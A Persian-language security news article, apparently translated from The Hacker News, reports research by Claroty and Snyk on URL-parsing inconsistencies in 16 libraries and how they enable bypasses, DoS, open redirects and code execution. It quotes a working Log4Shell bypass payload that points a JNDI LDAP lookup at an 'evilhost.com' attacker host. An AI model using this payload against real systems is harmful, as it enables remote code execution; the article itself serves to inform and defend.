مطالعه روی ۱۶ کتابخانه مکان‌یاب منبع یکسان[۱] یا URL ناسازگاری‌ها و سردرگمی‌هایی را کشف کرده است که می‌توانند برای دور زدن اعتبارسنجی‌ها و باز کردن دری به روی طیف گسترده‌ای از بردارهای حمله مورد بهره‌برداری قرار گیرند.

در یک تحلیل عمیق که به‌طور مشترک توسط شرکت‌های امنیت سایبری Claroty و Synk انجام شد[۲]، هشت آسیب‌پذیری امنیتی در بسیاری از کتابخانه‌های شخص ثالث که به زبان‌های C، جاوا اسکریپت، پی‌اچ‌پی، پایتون و روبی نوشته شده‌اند شناسایی شدند و توسط چندین برنامه وب مورداستفاده قرار گرفتند.

محققان در گزارشی که با The Hacker News به اشتراک گذاشته شد، می‌گویند: «آشفتگی در تجزیه Uniform Resource Locator می‌تواند باعث رفتار غیرمنتظره در نرم‌افزار شود (مثلاً برنامه وب)، و می‌تواند توسط عوامل تهدید برای ایجاد شرایط DoS، نشت اطلاعات یا احتمالاً انجام حملات اجرای کد از راه دور مورد بهره‌برداری قرار گیرد.

با توجه به اینکه URL ها مکانیزمی اساسی هستند که به‌وسیله آن می‌توان منابع را که به‌صورت محلی یا در وب قرار دارند، درخواست و بازیابی کرد، تفاوت در نحوه تفسیر درخواست URL توسط کتابخانه‌های تجزیه‌کننده می‌تواند خطرات قابل‌توجهی برای کاربران ایجاد کند.

نمونه‌ای از آن، نقص حیاتی Log4Shell است که ماه گذشته در logging framework کتابخانه Log4j فاش شد[۳]، که از این واقعیت ناشی می‌شود که یک رشته کنترل‌شده توسط مهاجم موذی، هنگامی‌که به‌عنوان و زمانی که توسط یک برنامه آسیب‌پذیر log می‌شود، ارزیابی می‌شود، منجر به جستجوی JNDI می‌شود[۴]؛ که به سروری که توسط دشمن اداره می‌شود متصل می‌شود و کد جاوای دلخواه را اجرا می‌کند.

اگرچه بنیاد نرم‌افزار آپاچی (ASF) به‌سرعت راه‌حل‌هایی را برای رفع این ضعف انجام داد، اما به‌زودی مشخص شد که می‌توان با یک ورودی طراحی‌شده ویژه در قالب ${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a} این وصله‌ها دور زد[۵]. که بار دیگر به lookup های راه دور JNDI برای دستیابی به اجرای کد اجازه می‌دهد.

به گفته محققان: “این دور زدن از این واقعیت ناشی می‌شود که دو تجزیه‌کننده URL مختلف در فرآیند lookup JNDI استفاده شده است، یک تجزیه‌کننده برای اعتبارسنجی URL و دیگری برای fetch کردن آن و بسته به اینکه هر تجزیه‌کننده چگونه با بخش Fragment از URL رفتار می‌کند؛ Authority نیز تغییر می‌کند.

URL

به‌طور خاص، اگر ورودی به‌عنوان یک URL معمولی HTTP در نظر گرفته شود، مؤلفه Authority ترکیبی از نام دامنه و شماره پورت، پس از مواجهه با شناسه قطعه به پایان می‌رسد[۶]، درحالی‌که، وقتی به‌عنوان یک URL LDAP در نظر گرفته شود، تجزیه‌کننده کلِ ۱۲۷٫۰٫۰[.]۱#.evilhost.com:1389 را به‌عنوان Authority اختصاص می‌دهد، زیرا مشخصات URL LDP برای قطعه حساب نمی‌شود.

درواقع، استفاده از تجزیه‌کننده‌های متعدد به‌عنوان یکی از دو دلیل اصلی کشف هشت آسیب‌پذیری ظاهر شد، و دیگری مشکلات ناشی از ناهماهنگی زمانی که کتابخانه‌ها از مشخصات URL مختلف پیروی می‌کنند، به‌طور مؤثر یک حفره قابل بهره‌برداری را معرفی می‌کنند.

این ناهماهنگی از سردرگمی شامل URL های حاوی اسلش معکوس (“\”)، تعداد نامنظم اسلش (به‌عنوان‌مثال، https:///www.example[.]com)، یا داده‌های رمزگذاری شده URL (“%”) تا URL هایی با URL های گم‌شده است[۷]. طرح‌هایی که با موفقیت مورد بهره‌برداری قرار می‌گیرند، می‌توانند منجر به اجرای کد از راه دور یا منجر به DoS و حملات فیشینگ از نوع open-redirect شوند[۸].

لیست هشت آسیب‌پذیری کشف‌شده به شرح زیر است، که همه آن‌ها از آن زمان توسط سازندگان مربوطه برطرف شده‌اند:

محققان می‌گویند: «بسیاری از سناریوهای حمله واقعی می‌توانند از تجزیه‌وتحلیل اولیه‌های مختلف ناشی شوند. برای محافظت از برنامه‌ها در برابر آسیب‌پذیری‌های تجزیه URL، «لازم است به‌طور کامل درک کنیم که کدام تجزیه‌کننده‌ها در کل فرآیند و تفاوت‌های بین تجزیه‌کننده‌ها نقش دارند، خواه leniency بودن آن‌ها، نحوه تفسیر URL‌های مختلف ناقص و نوع URL‌هایی که پشتیبانی می‌کنند.”

 

منابع

[۱] https://en.wikipedia.org/wiki/URL

[۲] https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion

[۳] https://apa.aut.ac.ir/?p=8517

[۴] https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface

[۵] https://apa.aut.ac.ir/?p=8543

[۶] https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_URL

[۷] https://www.w3schools.com/tags/ref_urlencode.ASP

[۸] https://apa.aut.ac.ir/?p=8254

[۹] https://thehackernews.com/2022/01/researchers-find-bugs-in-over-dozen.html